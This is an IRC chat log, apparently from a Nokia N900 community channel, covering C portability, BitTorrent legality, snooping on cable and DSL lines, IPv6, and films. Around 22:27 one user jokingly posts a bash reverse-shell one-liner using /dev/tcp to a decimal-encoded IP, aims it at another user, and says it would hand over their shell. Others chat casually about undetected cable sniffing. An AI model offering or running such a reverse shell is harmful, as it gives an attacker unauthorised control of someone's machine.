| 21:08.09 | lcuk | puts is platform specific |
| 21:08.19 | luke-jr | lcuk: nope |
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| 21:08.24 | luke-jr | puts is C89 |
| 21:08.55 | DocScrutinizer | you easily can put some malware into a few 100 pixels of 'snow' in a .bmp or .gif |
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| 21:09.31 | DocScrutinizer | but getting the thing to run without segfaults on x86 AND arm |
| 21:09.35 | DocScrutinizer | ... hard |
| 21:09.41 | lcuk | luke-jr, each platform has different mechanisms for performing stdio - different addresses and ways of doing it |
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| 21:10.42 | luke-jr | lcuk: irrelevant. puts is a platform-independent abstraction |
| 21:10.54 | DocScrutinizer | stdio is platform specific |
| 21:11.01 | luke-jr | no |
| 21:11.03 | luke-jr | stdio is part of C |
| 21:11.10 | DocScrutinizer | so what? |
| 21:11.17 | lcuk | facepalms |
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| 21:11.29 | luke-jr | so any compliant C implementation has it |
| 21:11.30 | DocScrutinizer | it has different code inside, though the ABI is identical |
| 21:11.50 | lcuk | luke-jr, the clibrary requires compiling and linking with your app |
| 21:12.07 | lcuk | so you need to carry around a library for each arch |
| 21:12.17 | luke-jr | or you just recompile |
| 21:12.23 | lcuk | facepalms |
| 21:12.25 | frals | lol |
| 21:13.01 | DocScrutinizer | frals: $4.99 / mms ? ;-P |
| 21:13.16 | SpeedEvil | http://wiki.openstreetmap.org/wiki/Accuracy#Georectification does this look sane |
| 21:13.17 | frals | DocScrutinizer: ^_^ |
| 21:13.19 | SpeedEvil | oops - sorry |
| 21:16.48 | DocScrutinizer | frals: no offense or anything intended - just pondering about use and nonsense of a 10 day quarantine |
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| 21:17.36 | frals | DocScrutinizer: none taken :) |
| 21:18.16 | frals | 10d quarantine is fine i guess but would be nice to have testers who can cut it down after testing it |
| 21:18.36 | SpeedEvil | Supertesters! |
| 21:18.41 | SpeedEvil | Who actually have a clue |
| 21:18.55 | SpeedEvil | profile the app in various conditions. |
| 21:19.07 | SpeedEvil | Test it at least basically |
| 21:19.13 | SpeedEvil | find obvious blockers |
| 21:19.31 | DocScrutinizer | set system date to arbitrary points into the future |
| 21:20.41 | SpeedEvil | An annoying issue I saw with the current scheme was lots of people - apparantly for karma reasons - going over the list of packages for bugtracker links, and voting them down - even when there was already a downvote for that |
| 21:21.09 | DocScrutinizer | fsckers |
| 21:21.29 | derf | Also, even when there was a bugtracker for the package, like mine. |
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| 21:21.39 | derf | This is one of the reasons I gave up packaging things. |
| 21:21.46 | SpeedEvil | A per-package forum would be very nice |
| 21:21.56 | DocScrutinizer | remarks it seems not helpful for karma to contribute to tmo :-P |
| 21:22.03 | derf | Because it turns out I don't care enough to put up with bullshit like that. |
| 21:22.08 | Appiah | SpeedEvil: dont garage have that? |
| 21:22.14 | SpeedEvil | A email address as a bugtracker can seem very blackhole |
| 21:22.52 | SpeedEvil | Not having one unified way to find an apps homepage, interact with other users is somewhat broken |
| 21:23.03 | DocScrutinizer | though my karma actually is >0, which is a surprise to me |
| 21:24.23 | kthomas_vh | karma( DocScrutinizer)--; |
| 21:24.34 | GAN900 | Modest: Let's put the signature ABOVE the quoted text! |
| 21:24.35 | DocScrutinizer | huh? |
| 21:24.39 | GAN900 | GENIUS!!!! |
| 21:24.56 | DocScrutinizer | oooh sweet |
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| 21:25.48 | GAN900 | It's funny when I forget to drop my council sig from personal emails. |
| 21:29.13 | DocScrutinizer | SpeedEvil: how did you manage to open that CA-146A ? |
| 21:29.58 | DocScrutinizer | isn't it glued/welded? |
| 21:31.21 | DocScrutinizer | SpeedEvil: or is there a special trick? |
| 21:31.29 | DocScrutinizer | or hidden screw |
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| 21:39.05 | GAN900 | Probably broke it. |
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| 21:40.53 | alexcockell | Evening.. |
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| 21:44.17 | jd4200 | Anyone know why im unable to set permissions on any file, no matter how much i chmod. |
| 21:44.53 | jd4200 | i also cant chown a file to user, it says unknow user 'user' |
| 21:45.39 | rm_you | well, most of the device is actually FAT32 |
| 21:45.45 | alexcockell | New user to Nokia N900s etc.. |
| 21:45.45 | rm_you | it depends on where the file is |
| 21:45.56 | rm_you | and FAT32 doesnt support permissions |
| 21:46.05 | alexcockell | I was thinking of getting Evopedia up and running... |
| 21:46.09 | rm_you | though not sure that's really related to your error message |
| 21:46.12 | rm_you | ah |
| 21:46.24 | alexcockell | ... but everywhere I look it talks about using BitTorrent to get a dataset.. |
| 21:46.24 | rm_you | well, anything in /home/user/ is FAT32 so no permissions |
| 21:46.56 | jd4200 | rm_you oh wasnt aware it was fat32, so no way of making a script executable? |
| 21:46.59 | alexcockell | .. with the passage of the Digital Economy Bill - I am simply too scared to EVER use BitTorrent - I have never done so before |
| 21:47.09 | rm_you | not in /home/user i believe |
| 21:47.31 | rm_you | unless you mount another folder there that IS on ext2/3 |
| 21:47.44 | jd4200 | alexcockell: the libdems oppose it with a passion so hopefully it gets overturned |
| 21:47.44 | alexcockell | Does anyone know if there is anywhere where I could buy a copy of a Wikipedia dump from legally? |
| 21:48.09 | PerfDave | uses BitTorrent to download legal content |
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| 21:48.36 | rm_you | ummm |
| 21:48.38 | alexcockell | I thought BitTorrent and all p2p software was illegal? |
| 21:48.41 | PerfDave | Sorry, bad phrasing, I use it to download content without violating that content's copyright holder's rights. |
| 21:48.43 | rm_you | Wikipedia dumps are free/legal |
| 21:48.50 | PerfDave | alexcockell: Uhm, not at all. |
| 21:48.53 | rm_you | you've been lied to |
| 21:48.57 | alexcockell | Yeah - but my ISP frowns on p2p.. |
| 21:49.00 | rm_you | by the RIAA and corporate america |
| 21:49.10 | PerfDave | BitTorrent is software. It's a way of transferring files. Some file transfers go against copyright laws, others don't. |
| 21:49.16 | rm_you | you can tell your ISP to *suck it* |
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| 21:49.26 | rm_you | if more people did that, the world would be a better place |
| 21:49.41 | PerfDave | Using BitTorrent to download Debian GNU/Linux is fine; using it to download most films isn't. |
| 21:49.44 | rm_you | what THEY'RE doing to restrict torrent bandwidth is illegal |
| 21:49.56 | luke-jr | alexcockell: do you pay your ISP? |
| 21:50.09 | PerfDave | rm_you: Illegal how? If it's in the contract you agree with your ISP, then I don't see how it can be illegal. |
| 21:50.27 | alexcockell | Hmm - funny about that - I've *bought* the last two installs of Ubuntu - I buy my machies from linux Emporium |
| 21:50.31 | alexcockell | *machines |
| 21:50.36 | luke-jr | alexcockell: do you pay your ISP? |
| 21:50.38 | alexcockell | Yes |
| 21:50.41 | luke-jr | for what? |
| 21:50.48 | alexcockell | Connectivity |
| 21:50.53 | luke-jr | to? |
| 21:50.53 | alexcockell | 19 quid a month |
| 21:51.01 | alexcockell | the Net.. |
| 21:51.01 | PerfDave | tends to buy Debian distros once the pressed DVDs become available from places that donate to the project. |
| 21:51.11 | luke-jr | alexcockell: what is the Net? |
| 21:51.24 | alexcockell | All the services out there... |
| 21:51.28 | luke-jr | wrong |
| 21:51.36 | luke-jr | the Internet is a *peer-to-peer* computer network |
| 21:51.39 | alexcockell | BBC, Youtube, here... Ship Of FOols.. other sites I go to |
| 21:51.42 | PerfDave | luke-jr: Nobody can tell you what the net is. You have to experience it for yourself. |
| 21:51.51 | PerfDave | Oh wait, that was the Matrix. |
| 21:51.55 | sECuRE | hrhr |
| 21:52.04 | luke-jr | alexcockell: BBC, Youtube, etc are just other peers |
| 21:52.04 | alexcockell | We7 (paid subscrtiption) |
| 21:52.08 | luke-jr | you are no less a peer than they are |
| 21:52.28 | luke-jr | they just happen to pay for a bigger pipe |
| 21:52.29 | rm_you | go look up net neutrality |
| 21:52.38 | rm_you | or comcast being sued for bandwidth limits on torrents |
| 21:52.43 | luke-jr | alexcockell: *everything* on the internet is p2p |
| 21:52.53 | luke-jr | rm_you: Comcast won |
| 21:53.09 | rm_you | no they didnt? what? |
| 21:53.26 | luke-jr | rm_you: yes, Comcast won vs FCC |
| 21:53.33 | luke-jr | the court ruled FCC has no jurisdiction |
| 21:53.42 | rm_you | oh, not that |
| 21:53.49 | luke-jr | that's what you're talking about... |
| 21:53.57 | rm_you | that was recently |
| 21:54.02 | luke-jr | net neutrality failed to pass |
| 21:54.04 | rm_you | the thing im talking about was year+ ago |
| 21:54.19 | luke-jr | now the US government is trying to pass bills making ISPs required to block illegal transfers |
| 21:54.41 | alexcockell | Hmm - just like the DEA |
| 21:54.45 | luke-jr | complete flip-flop |
| 21:54.51 | alexcockell | (Digital Economy Act) |
| 21:54.53 | luke-jr | alexcockell: in the meantime, BitTorrent is 100% legal |
| 21:55.22 | SpeedEvil | I used bittorrent to download some slackware CDs a couple of weeks ago. |
| 21:55.42 | luke-jr | the day you cannot use BitTorrent is the day you no longer have Internet |
| 21:55.46 | alexcockell | But I was under the impression according to The Register that all BitTorrent activity was being monitored.. |
| 21:55.57 | luke-jr | alexcockell: maybe it is |
| 21:56.00 | luke-jr | irrelevant, since it's legal |
| 21:56.02 | alexcockell | I've never used BitTorrent |
| 21:56.05 | PerfDave | Even if that were true, alexcockell, that doesn't make it illegal necessarily :) |
| 21:56.21 | SpeedEvil | alexcockell: It is - mostly - trivial - to snoop on all p2p protocols - even as a user |
| 21:56.22 | alexcockell | All I've ever heard is how unsafe it is.. |
| 21:56.30 | PerfDave | alexcockell: Unsafe how? |
| 21:56.31 | jacekowski | luke-jr: well, bittorent isn't illegal |
| 21:56.38 | luke-jr | jacekowski: my point exactly |
| 21:56.39 | jacekowski | luke-jr: bit 99% trafic in bt network is |
| 21:56.54 | SpeedEvil | Or rather - snoop as in the sense of finding who's getting what |
| 21:56.55 | luke-jr | alexcockell: BitTorrent is very safe; more than anything else really |
| 21:57.08 | luke-jr | jacekowski: I question the 99% figure |
| 21:57.15 | luke-jr | jacekowski: I think you just made that up on the spot |
| 21:57.21 | PerfDave | Yeah, it's more like 90% IIRC |
| 21:57.39 | jacekowski | on my server it's closer to 100% |
| 21:57.44 | luke-jr | ... |
| 21:58.02 | jacekowski | but we all agree that most of bittorent traffic is illegal |
| 21:58.05 | jacekowski | same thing about TOR |
| 21:58.10 | luke-jr | alexcockell: BitTorrent is just a protocol, like HTTP (web browsers use this), SMTP (email), or XMPP (IM) |
| 21:58.14 | jacekowski | i was hosting exit node for some time |
| 21:58.18 | luke-jr | alexcockell: what matters is what you use it for |
| 21:58.20 | jacekowski | but amount of shit people do with it |
| 21:58.32 | alexcockell | Yeah I suppose so.. |
| 21:58.43 | jacekowski | child porn, porn, downloading from rapidshare and similiar sites |
| 21:58.45 | luke-jr | the only thing 'unsafe' about BitTorrent is that it is not anonymous |
| 21:58.46 | jacekowski | trolling |
| 21:58.48 | luke-jr | but it wasn't designed to be |
| 21:58.55 | alexcockell | Haven't even uploaded anything to Youtube - |
| 21:58.58 | luke-jr | nor is most any other internet protocol anonymous |
| 21:59.05 | jacekowski | i mean, if anything has potential to be abused |
| 21:59.06 | alexcockell | WATCHED loads.. |
| 21:59.07 | jacekowski | it will be |
| 21:59.22 | SpeedEvil | There are some exceptions. |
| 21:59.26 | luke-jr | at least BitTorrent is often encryption ;) |
| 21:59.29 | PerfDave | It does depend on what you mean by "safe", of course. If you get your .torrent file from a dodgy source, you might be downloading trojanned software or something. |
| 21:59.30 | SpeedEvil | 4chan for example - everyone there is over 18. |
| 21:59.38 | luke-jr | email is almost *always* easy for *anyone* to spy on |
| 21:59.44 | alexcockell | Bought my last large batch of DVDs from clips watched on 'Tube |
| 22:00.12 | SpeedEvil | luke-jr: only ISPs and governments really |
| 22:00.12 | alexcockell | I know that about email - used to administer Lotus Notes at work |
| 22:00.22 | PerfDave | alexcockell: Scrotes? You poor bastard ;) |
| 22:00.28 | SpeedEvil | luke-jr: Or people with the smarts to decode DSL. (or perform MITM on it) |
| 22:00.57 | SpeedEvil | A software DSL modem would be cool |
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| 22:01.09 | alexcockell | Nah - watched a couple of episodes of Howards Way on 'Tube.. remembered hjow good it was.. bought the box set |
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| 22:01.50 | luke-jr | SpeedEvil: is DSL easy to snoop too? |
| 22:01.55 | luke-jr | Cable is *very* easy to snoop |
| 22:02.14 | luke-jr | fairly simple to snoop other servers in the same room as your dedi as well |
| 22:02.54 | jacekowski | nobody is safe |
| 22:02.59 | luke-jr | Cable basically puts your modem on a switch with about 1000 other subscribers, and uses ARP proxy to your PC |
| 22:03.17 | SpeedEvil | luke-jr: DSL is quite annoying to snoop |
| 22:03.31 | alexcockell | .. and they see back as far as the NAT port on your router.. rigth? |
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| 22:03.36 | SpeedEvil | luke-jr: As it's designed to be a two-way protocol. |
| 22:03.47 | SpeedEvil | luke-jr: And it's OFDM and shit. |
| 22:03.56 | luke-jr | alexcockell: NAT is an ugly hack of connection sharing, it is NOT a firewall and does NOT protect you |
| 22:04.02 | jacekowski | alexcockell: all traffic going trough your dsl |
| 22:04.09 | SpeedEvil | luke-jr: There is no actual encryption - but snooping it is hard. MITMing is hard as there is no commodity hardware |
| 22:04.10 | jacekowski | alexcockell: and some modem allow remote firmware upgrade |
| 22:04.18 | jacekowski | alexcockell: which gives them more possibilities |
| 22:04.21 | alexcockell | MITM? |
| 22:04.29 | SpeedEvil | Man In The Middle |
| 22:04.30 | jacekowski | Man in the middle |
| 22:04.37 | Shapeshifter | mh? but you need your own modem to snoop cable, right? |
| 22:04.38 | alexcockell | Ah. |
| 22:04.50 | luke-jr | Shapeshifter: sure, why? |
| 22:04.53 | SpeedEvil | In the case of DSL, it would be putting a DSLAM at the end of the cut cable, and a DSL modem next to it to talk to the telco |
| 22:04.56 | jacekowski | SpeedEvil: well, dslam + modem + laptop |
| 22:05.01 | jacekowski | SpeedEvil: + switch |
| 22:05.27 | luke-jr | DSL has a dedicated wire to each house, IIRC |
| 22:05.32 | luke-jr | Cable just has a single shared fiber optic |
| 22:05.33 | alexcockell | But - seeing that my main time when I might cane the link is when I'm watching something off iPlayer... or if I'm listening to a queue off We7.. |
| 22:05.52 | Shapeshifter | luke-jr: I never heard anyone on my provider using his own modem, so I assume only modems by the provider can be used. |
| 22:06.05 | SpeedEvil | jacekowski: yes. |
| 22:06.05 | jacekowski | luke-jr: you can |
| 22:06.13 | luke-jr | Shapeshifter: 1) FCC regulations require providers to allow hardware other than their own |
| 22:06.20 | luke-jr | Shapeshifter: 2) ISP needs not know ;) |
| 22:06.24 | SpeedEvil | jacekowski: Or a ADC + laptop + ubersoftware. |
| 22:06.32 | luke-jr | in fact, if you're just sniffing, I don't think the ISP *can* detect or trace youy |
| 22:06.43 | jacekowski | well the could |
| 22:06.45 | jacekowski | if you do mitm |
| 22:06.51 | Viliny_ | isn't cable like so that you have to have a hw address on the box that the isp knows? |
| 22:06.52 | jacekowski | and use your own modem as mac will change |
| 22:06.52 | luke-jr | jacekowski: if you modify stuff |
| 22:07.01 | Shapeshifter | luke-jr: iirc the fcc doesn't apply to all countries |
| 22:07.02 | jacekowski | or whatever is that called on adsl |
| 22:07.08 | luke-jr | jacekowski: you don't need to transmit to sniff cable |
| 22:07.12 | luke-jr | Shapeshifter: sure |
| 22:07.29 | luke-jr | Shapeshifter: even then, they can't easily stop you if they don't know |
| 22:07.31 | jacekowski | Shapeshifter: as long as you use compatible hardware it's going to work |
| 22:07.49 | jacekowski | Shapeshifter: except that cable providers lock line to specific mac address |
| 22:07.50 | alexcockell | Trying to do that without clearance would expose me to all kinds of legal issues - under RIPA, Computer muisuse Act, DPA... |
| 22:07.54 | SpeedEvil | For sniffing DSL, I would guess that ot |
| 22:08.03 | Shapeshifter | that *is* inteesting |
| 22:08.08 | SpeedEvil | it's going to be at least a few tens of thousands of lines of code |
| 22:08.12 | luke-jr | alexcockell: sure |
| 22:08.18 | SpeedEvil | the DSL protocol is not really simple |
| 22:08.19 | jacekowski | alexcockell: you never done anything illegal? |
| 22:08.21 | luke-jr | alexcockell: but we're not talkign about BitTorrent anymore; that's legal :P |
| 22:08.57 | luke-jr | SpeedEvil: isn't DSL just PPPoE, followed by modulation/demodulation? |
| 22:09.07 | alexcockell | Apart from the odd CD copy years ago (taped friend's CD)... no. |
| 22:09.08 | jacekowski | nope |
| 22:09.14 | SpeedEvil | luke-jr: yes. |
| 22:09.15 | jacekowski | luke-jr: dsl is home version of ATM |
| 22:09.23 | Shapeshifter | btw, on sniffing dsl, a provider in germany had a serious misconfiguration in his network, that basically allowed all traffic inside their subnet. this meant you could see all peers connected and browse all open smb shares and so on. |
| 22:09.24 | SpeedEvil | luke-jr: the PPPoE and ATM are the trivial part |
| 22:09.35 | luke-jr | Shapeshifter: they should. :) |
| 22:09.36 | alexcockell | PPPoA more common in UK |
| 22:09.37 | SpeedEvil | luke-jr: The DSL protocol - is _messy_ |
| 22:09.45 | PerfDave | My ISP is happy for me to use an ADSL router other than the one you provided. |
| 22:09.52 | jacekowski | Shapeshifter: that's normall |
| 22:09.53 | luke-jr | Shapeshifter: idiots with open SMB shares can take responsibility for themselves |
| 22:09.57 | PerfDave | Shapeshifter: NTL cable in the UK used to be like that. A good firewall was useful :) |
| 22:09.58 | jacekowski | Shapeshifter: you can always do it |
| 22:10.01 | luke-jr | Shapeshifter: or sue the company that misconfigured their OS defaults |
| 22:10.08 | SpeedEvil | luke-jr: It's several layers of stacking protocol, and adds analog signal processing problems to that. |
| 22:10.09 | jacekowski | Shapeshifter: unless provider filters smb ports |
| 22:10.35 | alexcockell | I run Ubuntu at home - so no hassles re SMB... |
| 22:10.39 | Shapeshifter | jacekowski: well clearly they should disallow any direct traffic |
| 22:10.45 | luke-jr | Shapeshifter: no |
| 22:10.45 | SpeedEvil | luke-jr: For example, there are about 200 different channels in DSL. Each one has a variable number of bits per frame. That can shift according to noise on the line. |
| 22:10.46 | jacekowski | Shapeshifter: no |
| 22:10.56 | Shapeshifter | no? |
| 22:10.59 | jacekowski | Shapeshifter: why i shouldn't be allowed to talk to someboy in same subnet? |
| 22:11.04 | jacekowski | somebody* |
| 22:11.04 | luke-jr | the point of the internet is direct traffic |
| 22:11.28 | jacekowski | it's blaster that made provider start to block that |
| 22:11.36 | luke-jr | :( |
| 22:11.46 | Shapeshifter | ecause the normal user doesnt know what he's doing |
| 22:11.51 | SpeedEvil | Most DSL connections in the UK are very much point-point to the ISP |
| 22:11.57 | luke-jr | Shapeshifter: then ban that idiot from the internet :/ |
| 22:12.10 | Shapeshifter | well. I guess I agree |
| 22:12.15 | SpeedEvil | You can't talk to your neighbour, as your neighbours connection has no IP address. |
| 22:12.29 | jacekowski | luke-jr: if any party would made that kind of proposal |
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| 22:12.33 | jacekowski | luke-jr: they have my vote |
| 22:12.35 | luke-jr | lol |
| 22:12.58 | jacekowski | Shapeshifter: everything has ip address |
| 22:13.02 | SpeedEvil | has donated to the Pirate party. |
| 22:13.07 | luke-jr | in seriousness, though, I'd be fine with an ISP that charged $5/mo for firewalling service, and required a test to sign up for service without it |
| 22:13.25 | SpeedEvil | http://www.pirateparty.org.uk/party/donate/ |
| 22:13.31 | jacekowski | it should be that filtering is enabled by default for free |
| 22:13.41 | jacekowski | smtp traffic, smb |
| 22:13.41 | luke-jr | jacekowski: why? filters cost money :p |
| 22:13.49 | jacekowski | filtering/firewall |
| 22:14.00 | luke-jr | hmm |
| 22:14.08 | jacekowski | enabled by default |
| 22:14.15 | luke-jr | actually, I'd hate to pay $5/mo if I had to have my ISP block some retard trying to DoS me |
| 22:14.19 | jacekowski | and don't inform people about it in any official way |
| 22:14.19 | frals | theyd probably make it back in saved costs for less bw/support |
| 22:14.30 | jacekowski | just small print |
| 22:14.35 | luke-jr | so sure, free ISP-side filtering defaulted to block anything inbound |
| 22:14.43 | SpeedEvil | Filters cost money. |
| 22:14.48 | jacekowski | so people that need it unblocked will just call them |
| 22:14.49 | luke-jr | s/free/included/ |
| 22:14.51 | Shapeshifter | utopia |
| 22:14.53 | SpeedEvil | But, support also costs money |
| 22:14.55 | jacekowski | SpeedEvil: bandwidth cost money |
| 22:14.59 | SpeedEvil | and that |
| 22:15.03 | luke-jr | jacekowski: or a nice web interface to configure it |
| 22:15.14 | jacekowski | SpeedEvil: transit traffic costs more than filtering |
| 22:15.15 | luke-jr | maybe let me auto-upload iptables configs |
| 22:15.17 | luke-jr | :) |
| 22:15.21 | SpeedEvil | jacekowski: that too. |
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| 22:15.34 | jacekowski | and it would make internet so much safer |
| 22:15.53 | Shapeshifter | I wonder when ipv6 will arrive |
| 22:15.54 | luke-jr | actually, that'd be perfect: no phone deblocking, no webbrowser deblocking: require a SFTP upload of your iptables/whatever config ;) |
| 22:15.59 | luke-jr | Shapeshifter: hmm? |
| 22:16.27 | SpeedEvil | Internet 2.0 |
| 22:16.32 | SpeedEvil | Dark fibre. |
| 22:16.42 | luke-jr | Shapeshifter: /whois luke-jr |
| 22:16.44 | luke-jr | Shapeshifter: get with the program |
| 22:16.53 | luke-jr | IPv6 arrived a long time ago |
| 22:17.01 | jacekowski | hmm |
| 22:17.08 | dsg | Hi all, is it possible to do outbound SIP video calls? My n900 only seems to send video codecs (H.26x) in response to an INVITE with video codecs, not when it's initiating |
| 22:17.11 | jacekowski | i'm wondering if it's possible to get it in uk |
| 22:17.14 | zokier | yup. i got native ipv6 at home, but only shitty nated ipv4 |
| 22:17.29 | luke-jr | jacekowski: IPv6 doesn't *require* any ISP-level support anymore, so unless your ISP is actively blocking it... |
| 22:17.29 | Shapeshifter | they'r beginning to use it for mobile networks and *some* ISPs but it seems reluctant to get off the ground |
| 22:17.34 | crashanddie | hang on, ipv6 at home? |
| 22:17.44 | luke-jr | zokier: I'd aim for IPv6-to-IPv4 NAT ;) |
| 22:17.46 | jacekowski | luke-jr: tunel is a workaround |
| 22:18.03 | jacekowski | polish telecom used to provide it |
| 22:18.05 | luke-jr | zokier: have your DNS server turn A records into AAAA under some subnet of yours, then NAT those to IPv4 |
| 22:18.07 | jacekowski | with 6bone |
| 22:18.13 | luke-jr | jacekowski: don't need a tunnel either |
| 22:18.28 | jacekowski | but when 6bone was closed they stopped ipv6 for home users |
| 22:18.38 | jacekowski | luke-jr: how? |
| 22:18.47 | luke-jr | jacekowski: 2002::/16 subnet :) |
| 22:18.52 | jacekowski | eeee |
| 22:19.15 | jacekowski | that's cheating |
| 22:19.17 | Shapeshifter | luke-jr: but you're tunnelling are you not? |
| 22:19.38 | luke-jr | pings 2002:5e17:1051::1 |
| 22:19.53 | jacekowski | besides, how does it work on isp level |
| 22:20.01 | zokier | luke-jr, i dont see how that would help anything |
| 22:20.07 | jacekowski | is router need ipv6 support |
| 22:20.07 | luke-jr | Shapeshifter: it's "tunnelling" to the first IPv6-capable router |
| 22:20.17 | luke-jr | wherever that may be |
| 22:20.25 | Shapeshifter | as long as your ISP does only give you a v4 IP its kinda futile. |
| 22:20.30 | luke-jr | jacekowski: tcpdump your gateway box |
| 22:20.44 | luke-jr | Shapeshifter: what's your IPv4? |
| 22:20.59 | jacekowski | luke-jr: which one? |
| 22:21.03 | jacekowski | jacekowski.org? |
| 22:21.05 | luke-jr | jacekowski: yes |
| 22:21.06 | jacekowski | that's not my gw |
| 22:21.15 | jacekowski | that's my server far away in france with proper ipv6 |
| 22:21.19 | luke-jr | lol |
| 22:21.51 | luke-jr | but not its 2002 address configured? :P |
| 22:22.02 | Shapeshifter | luke-jr: why? well. I know you can map v4 adresses to v6. is that any good? (I'm just clueless) |
| 22:22.09 | luke-jr | Shapeshifter: yes |
| 22:22.14 | Shapeshifter | ookay |
| 22:22.22 | Shapeshifter | I'll look into it |
| 22:22.27 | luke-jr | Shapeshifter: I can take your IPv4 address and start sending you pings over IPv6 that show up on your side |
| 22:22.35 | Shapeshifter | mhh |
| 22:22.38 | luke-jr | http://luke.dashjr.org/i-want-v6 |
| 22:22.44 | Shapeshifter | thanks |
| 22:23.21 | jacekowski | well |
| 22:23.22 | jacekowski | nvm |
| 22:23.26 | jacekowski | i have ipv6 disabled |
| 22:23.47 | luke-jr | so whoever was the 193.x.x.x IP that clicked that, I'm pinging you over IPv6 now :P |
| 22:23.58 | luke-jr | the one browsing my other dirs |
| 22:24.17 | lcuk | Jaffa, its hard to find the right mechanism, each dev/bug/change will be different, from the inconvenience doh bugs when you are 9days into testing to blockers being identified and requiring complete reevaluation |
| 22:24.43 | luke-jr | 2a02:3c8:bad:f00d:21d:e0ff:xxxx:xxxx LOL |
| 22:25.08 | jacekowski | 00:24:31.001545 IP 94.23.16.250 > 94.23.16.81: ICMP echo request, id 48491, seq 45061, length 64 |
| 22:25.12 | jacekowski | you? |
| 22:25.18 | crashanddie | try hacking me: 192.168.0.1 |
| 22:25.31 | jacekowski | try me 127.0.0.1 |
| 22:25.47 | lcuk | crashanddie, ping responds from there, hold on its got a shell. does anything happen on yours if i run this rm command? |
| 22:26.00 | luke-jr | try hacking me: 2130706433 |
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| 22:26.16 | frals | lol, lcuk won ;D |
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| 22:27.44 | luke-jr | exec 3<>/dev/tcp/1655905612/1 2>&3<&3>&3 |
| 22:27.45 | luke-jr | :) |
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| 22:28.55 | pronto | o_o that scares me |
| 22:28.56 | lcuk | o_O |
| 22:28.59 | luke-jr | lol |
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| 22:29.11 | lcuk | o_O |
| 22:29.49 | luke-jr | crashanddie: exec 3<>/dev/tcp/1655905612/1 2>&3<&3>&3 |
| 22:30.16 | crashanddie | luke-jr: what would that do? |
| 22:30.31 | luke-jr | crashanddie: if I was listening on port 1, it would give me your shell :D |
| 22:30.52 | crashanddie | were |
| 22:30.56 | crashanddie | it's were for fuck's sake |
| 22:31.02 | crashanddie | conditional |
| 22:31.03 | luke-jr | ... |
| 22:31.22 | crashanddie | luke-jr: nice one though |
| 22:31.30 | SpeedEvil | also - isn't the tcp thing y a bashism? |
| 22:31.41 | luke-jr | SpeedEvil: duh |
| 22:35.52 | n900-dk | Do anyone know the english word for a desk, that you can adjust in the height? up-and-down-lifting-table doesn't sound right in my ears.. :) |
| 22:36.14 | crashanddie | height-adjustable desk? |
| 22:36.40 | jacekowski | or just adjustable desk |
| 22:37.03 | SpeedEvil | adjustable desk |
| 22:37.28 | n900-dk | thx |
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| 22:55.07 | swc|666 | Macer, unfortunate |
| 22:55.13 | Macer | haha |
| 22:55.15 | Macer | yeah |
| 22:55.16 | swc|666 | :D |
| 22:55.23 | Macer | so i guess downloading space camp is out of the question |
| 22:55.25 | Macer | that's another classic :) |
| 22:55.28 | swc|666 | AHAHAHAAAAAAA |
| 22:55.32 | swc|666 | win |
| 22:55.42 | Macer | i loved space camp when i was a kid. awesome movie |
| 22:55.47 | swc|666 | same |
| 22:56.04 | swc|666 | lemme guess, you're ~35 yrs old |
| 22:56.40 | Macer | 30 ;) |
| 22:57.20 | Macer | they just don't make movies like these anymore |
| 22:57.32 | swc|666 | no doubt |
| 22:57.35 | Macer | where watching a movie felt like a real sense of adventure |
| 22:57.36 | Macer | heh |
| 22:58.44 | swc|666 | yeah i know .. movies suck now |
| 22:58.53 | swc|666 | all superficiality and shock value |
| 22:58.54 | Macer | well. snatch and fight club were great |
| 22:58.59 | swc|666 | true indeed |
| 22:59.03 | Macer | so was 5th element (even if they stole the idea from heavy metal) |
| 22:59.26 | Macer | dark city was kind of good too |
| 22:59.38 | SpeedEvil | holds up his multipass. |
| 22:59.43 | Macer | haha |
| 23:00.02 | Macer | MOOOOOOLTIIIII PASS |
| 23:00.29 | SpeedEvil | :) |
| 23:00.29 | b-man | lol |
| 23:00.29 | Macer | i liked zorg the best |
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| 23:00.35 | Macer | jean baptise emanuel zorg |
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| 23:01.50 | Macer | i love the way 5th element would jump from place to place |
| 23:01.51 | b-man | those are annoying |
| 23:01.52 | SpeedEvil | Total Recall. |
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| 23:01.52 | Macer | like when she is telling the story about how the stones weren't with her |
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| 23:01.53 | Macer | haha.. total recall was pretty good for what it was |
| 23:02.05 | SpeedEvil | admits he remembers mostly 3 things from that movie. |
| 23:02.13 | Macer | the 3 breasted woman? |
| 23:02.19 | Shapeshifter | lock stock and two smoking barrels is fun |
| 23:02.21 | Macer | and the eyeballs popping out? :) |
| 23:02.31 | Macer | i didn't like lock stock and two smoking barrels |
| 23:03.00 | Macer | only truly funny parts about that movie is where the black dude sets the guy on fire and when that stoner girl jumps out and grabs that huge rifle and starts shooting all over the place |
| 23:03.27 | SpeedEvil | Traffic warden. |
| 23:03.53 | Shapeshifter | beetlejuice. |
| 23:03.56 | SpeedEvil | Trainspotting. |
| 23:04.20 | Shapeshifter | mh. beetleguise? |
| 23:04.22 | Shapeshifter | mh... |
| 23:04.36 | SpeedEvil | juice |
| 23:04.39 | Shapeshifter | no it was Beetlejuice |
| 23:04.40 | Shapeshifter | yes |
| 23:04.46 | SpeedEvil | Don't say it again! |
| 23:04.47 | Macer | didn't think beetlejuice was all that good |
| 23:04.56 | Macer | trainspotting was ok tho |
| 23:05.04 | Shapeshifter | Betelgeuse was the star |
| 23:05.06 | Shapeshifter | the huge one |
| 23:05.21 | Macer | i watched the older indiana jones movies and they're not really all that good |
| 23:05.29 | Shapeshifter | but fun |
| 23:05.34 | Macer | except the one with sean connery |
| 23:05.41 | Macer | you can't make a bad movie with sean connery in it :) |
| 23:05.45 | Shapeshifter | indeed |
| 23:06.00 | Shapeshifter | moon is good |
| 23:06.09 | Macer | i always hated the fact that tom cruise was considered a good actor.. he was/is horrible |
| 23:06.26 | Shapeshifter | yes |
| 23:06.27 | Macer | i mean they always surround him with real talent . although.. he was good in the nam movie with ben stiller |
| 23:06.36 | SpeedEvil | Indiana jones moment for me will always be the sword + gunfight. |
| 23:06.36 | Shapeshifter | mission impossible was still fun |
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| 23:06.45 | Macer | i HATED mission impossible :) all of them |
| 23:06.49 | Shapeshifter | meh |
| 23:06.54 | Shapeshifter | you don't understand meaningless fun |
| 23:07.02 | Macer | rambo is meaningless fun ;) |
| 23:07.10 | Macer | well.. part 2 and 3 were |
| 23:07.18 | SpeedEvil | Bring It On. |
| 23:07.21 | Macer | part 1 was someone actually trying to make a plot out of someone blowing things up |
| 23:07.40 | Macer | but part 2 and 3 were a riot |
| 23:07.43 | Shapeshifter | here's one |
